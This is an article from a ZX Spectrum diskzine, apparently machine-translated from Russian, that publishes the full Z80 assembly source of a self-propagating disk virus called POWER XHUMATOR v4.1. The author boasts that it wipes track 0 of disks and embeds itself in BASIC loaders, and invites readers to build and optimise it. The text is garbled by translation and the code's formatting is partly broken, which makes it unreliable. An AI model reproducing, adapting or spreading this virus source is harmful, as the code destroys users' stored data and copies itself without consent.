Kettle - How to make a real virus on the Spectrum.

Impulse #03
           FILLED KETTLE



V. How to make a real virus on the Spectrum

   (From the unsolved mysteries of the processor Z-80)


   This on the Spectrum was not yet! People,
offer you the source of global development - the virus named
POWER XHUMATOR version 4.1. Originally
This virus took # A3 bytes and wrote here
so, from the bulldozer. But I liked the idea and I
optimized code of the virus to # 8A bytes and even wrote 
installyashku. What is he doing? A He creates the most 
despicable - 0 fouls on track Your precious discs, and even 
more despicable, because that is what defiles XHUM 0 tracks 
still and on your scratch disk. XHUM built in BASIC-loaders of 
various prog, not exceeding # XX72 byte and waits

hours.


   Moreover, the virus is capable of self-propagating and the 
files containing the virus inside, can be subjected to any 
violence, such as copying, compression, transportirovka6 mail, 
etc. Of course, not guaranteed efficiency of the virus with

100% of the files, but, excuse me, it's just vsetaki # 8A bytes.


   I will not go into the operating principle -
Below is the source, and those who are interested, will be 
dismantled around themselves. And for roundnose guys I left 
roundnose comments that will help them understand the unknown. 


;------------------------------; POWER XHUMATOR v4.1
; Special Edition For ZX-NET
; Koded 'Optimized By
;! MPeR! 0/P0WER HaCkZ All! ANcE
; 0f PR0 HaCkZ DyNaZ7Y
;------------------------------
LEN EQU # 8A

     ORG # 8000

     RST # 38; SP-2> SP, PC> (SP)

                         , # 38> PC

     EXX; BC <> BC ', DE <> DE'

                         ; HL <> HL '

     DEC SP; SP-1> SP

     DEC SP; SP-1> SP

     POP AF; (SP)> AF, SP +2> SP

     EX AF, AF '; AF <> AF'

     LD HL, # C9F1; # C9F1> HL

     LD (# 5CC2), HL; HL> (# 5CC2)

     LD DE, # 0000 # 0000> DE

     LD BC, # 0905, # 0905> BC

     PUSH HL; SP-2> SP, HL> (SP)

     PUSH HL; SP-2> SP, HL> (SP)

     CALL # 3D13; SP-2> SP, PC> (SP)

                         ; # 3D13> PC

     EX (SP), HL; (SP) <> HL
FIND POP AF; (SP)> AF, SP +2> SP

     LD A, (HL); (HL)> A

     POP DE; (SP)> DE, SP +2> SP

     AND A; A AND A> A

     JR Z, EXIT; EXIT> PC if Z

     PUSH DE; SP-2> SP, DE> (SP)

     LD DE, # 0004 # 0004> DE

     ADD HL, DE; HL + DE> HL

     ADD HL, DE; HL + DE> HL

     LD A, (HL); (HL)> A

     INC HL; HL +1> HL

     LD C, (HL); (HL)> C

     PUSH HL; SP-2> SP, HL> (SP)

     INC HL; HL +1> HL

     LD B, (HL); (HL)> B

     ADD HL, DE; HL + DE> HL

     LD E, (HL); (HL)> E

     INC HL; HL +1> HL

     LD D, (HL); (HL)> D

     INC HL; HL +1> HL

     CP "B"; A-"B"

     JR NZ, FIND; FIND> PC if NZ

     LD A, C; C> A

     CP # FD-LEN; A-# FD + LEN

     JR NC, FIND; FIND> PC if NC

     POP HL; (SP)> HL, SP +2> SP

     ADD A, LEN; A + LEN> A

     LD (HL), A; A> (HL)

     LD HL, # DD3B; # DD3B> HL

     PUSH BC; SP-2> SP, BC> (SP)

     PUSH DE; SP-2> SP, DE> (SP)

     PUSH HL; SP-2> SP, HL> (SP)

     PUSH BC; SP-2> SP, BC> (SP)

     PUSH BC; SP-2> SP, BC> (SP)

     PUSH HL; SP-2> SP, HL> (SP)

     INC B; B +1> B

     LD C, # 05; # 05> C

     CALL # 3D13; SP-2> SP, PC> (SP)

                         ; # 3D13> PC

     POP HL; (SP)> HL, SP +2> SP

     POP BC; (SP)> BC, SP +2> SP

     ADD HL, BC; HL + BC> HL

     PUSH HL; SP-2> SP, HL> (SP)

     PUSH HL; SP-2> SP, HL> (SP)

     EX DE, HL; DE <> HL

     LD HL, LEN; LEN> HL

     PUSH HL; SP-2> SP, HL> (SP)

     ADD HL, DE; HL + DE> HL

     EX DE, HL; DE <> HL

     LDIR; (HL)> (DE) <

                         ; HL +1> HL, DE +1> DE

                         ; BC-1> BC, BC> 0?

     POP BC; (SP)> BC, SP +2> SP

     POP DE; (SP)> DE, SP +2> SP

     EX AF, AF '; AF <> AF'

     PUSH AF; SP-2> SP, AF> (SP)

     POP HL; (SP)> HL, SP +2> SP

     DEC HL; HL-1> HL

     LDIR; (HL)> (DE) <

                         ; HL +1> HL, DE +1> DE

                         ; BC-1> BC, BC> 0?

     POP DE; (SP)> DE, SP +2> SP

     POP BC; (SP)> BC, SP +2> SP

     LD H, D; D> H

     LD L, E; E> L

     RES # 07, D; # 00> D (# 07)

     LD A, # 3D; # 3D> A

     CPDR;> A = (HL)

                         ; HL +1> HL, BC-1> BC

                         ; BC> 0?

     ADD A, (HL); (HL)> A <
     CP # 50; A-# 50

     JR NZ, SAVE; SAVE> PC if NZ

     LD (HL), E; E> (HL)

     INC HL; HL +1> HL

     LD (HL), D; D> (HL)
SAVE POP HL; (SP)> HL, SP +2> SP

     POP DE; (SP)> DE, SP +2> SP

     POP BC; (SP)> BC, SP +2> SP

     INC B; B +1> B

     LD C, # 06; # 06> C

     CALL # 3D13; SP-2> SP, PC> (SP)

                         ; # 3D13> PC
EXIT POP HL; (SP)> HL, SP +2> SP

     LD DE, # 0000 # 0000> DE

     LD BC, # 0906, # 0906> BC

     CALL # 3D13; SP-2> SP, PC> (SP)

                         ; # 3D13> PC

     EXX; BC <> BC ', DE <> DE'

                         ; HL <> HL '

     JP # 3D13; # 3D13> PC


   Perhaps all this time. Try
cut my code by at least 1 byte without
loss of functionality XHUMa and
if you get it, then I zvyaknite
somehow.